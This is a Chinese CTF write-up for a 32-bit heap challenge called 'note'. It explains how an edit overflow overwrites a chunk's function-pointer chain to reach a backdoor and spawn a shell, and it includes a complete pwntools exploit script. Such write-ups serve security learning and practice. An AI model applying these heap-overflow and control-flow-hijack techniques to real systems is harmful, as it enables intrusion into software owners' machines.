anote
C++程序,32位菜单堆题,有add、show、delete。
add:
程序创建一个固定0x1c(加上chunk头0x20,因为触发了prevsize复用而且是32位),最多创建9个。

show:
打印出对应index的堆的地址,值得一提的是堆地址的值是存在栈上的。

edit:最大可以输入40B,存在溢出:

有后门:

这题没写出来,因为题目没有delete(free),所以一直在想怎么用house of orange来打。难点在于libc没给,所以top chunk地址后三位不知道,而且就算改成0xfe1、0xfa1,题目限制最多添加9个0x20的chunk也不够把top chunk挤到unsorted bin去。
后来看WP才知道看漏了这个东西:

三次取地址来执行了一个函数。这个地址在add时候就已经写到每个chunk的data区域前四位,如图:


然后edit时候用户输入都是从第9位开始写,如下图:

再结合动调来看,下图红框就是add时候写入的东西:

然后edit aaaa,发现从第九位开始写:


再跟进看看写入的 0x8048f48,发现又是一个地址0x8048a68:

继续跟进,这0x8048a68就是个函数,功能是输出”work done”:


所以
(**(void (__cdecl ***)(_DWORD))*(&v25 + v20))(*(&v25 + v20));
的意思就是,先从栈的对应位置取值,值就是chunk(data域)地址:
*(&v25 + v20)
然后又是两次取值,第一次从chunk(data域)取值取到0x8048f48,第二次从0x8048f48取值取到0x8048a68,然后作为函数执行,执行的功能是输出”work done”。
所以思路就很清晰了,创建chunk0和chunk1,利用chunk0溢出修改chunk1的data前四位为某地址,这个地址上写的是后门函数地址,因为可以直接往chunk0的地址可以获取,所以就直接往chunk0的data域上写后门函数地址,然后覆盖的地址覆盖到chunk0的对应位置就行,最后再调用edit修改1就能触发后门函数拿到shell。
payload=p32(backdoor)+b’a’*0x14+p32(chunk0_addr+0x8)

完整exp:
from pwn import *
context.log_level = 'debug'
p = process('/home/monke/PWN/ciscn/3/note')
#p = remote('39.105.5.27',24760)
elf = ELF('/home/monke/PWN/ciscn/3/note')
backdoor=0x80489CE
#add chunk0、chunk1
p.sendlineafter("Choice>>",b'1')
p.sendlineafter("Choice>>",b'1')
#leak chunk0_addr
p.sendlineafter("Choice>>",b'2')
p.sendlineafter("index: ",b'0')
p.recvuntil("gift: ")
chunk0_addr=p.recv(9)
chunk0_addr=int(chunk0_addr,16)
print(hex(chunk0_addr))
#gdb.attach(p)
#edit chunk0
p.sendlineafter("Choice>>",b'3')
p.sendlineafter("index: ",b'0')
p.sendlineafter("len: ",b'40')
payload=p32(backdoor)+b'a'*0x14+p32(chunk0_addr+0x8)
p.sendlineafter("content: ",payload)
#gdb.attach(p)
#edit chunk1 getshell
p.sendlineafter("Choice>>",b'3')
p.sendlineafter("index: ",b'1')
p.sendlineafter("len: ",b'4')
payload=b'a'*4
p.sendlineafter("content: ",payload)
#gdb.attach(p)
p.interactive()